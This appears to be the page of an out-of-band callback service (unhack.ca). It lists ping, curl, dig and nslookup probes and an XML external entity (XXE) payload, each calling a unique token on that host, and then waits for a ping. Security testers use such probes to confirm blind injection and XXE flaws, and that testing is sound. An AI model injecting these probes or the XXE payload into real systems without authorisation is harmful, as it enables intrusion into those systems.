$ ping -c1 -p 00b4264880c02513e3e9016bad19ad00 unhack.ca
 
$ curl http://unhack.ca/p/b4264880c02513e3e9016bad19ad
 
$ dig b4264880c02513e3e9016bad19ad @unhack.ca
 
$ dig b4264880c02513e3e9016bad19ad.ns.unhack.ca
 
C:\> nslookup b4264880c02513e3e9016bad19ad unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b4264880c02513e3e9016bad19ad">]>
    <foo>&xxe;</foo>
Waiting for ping...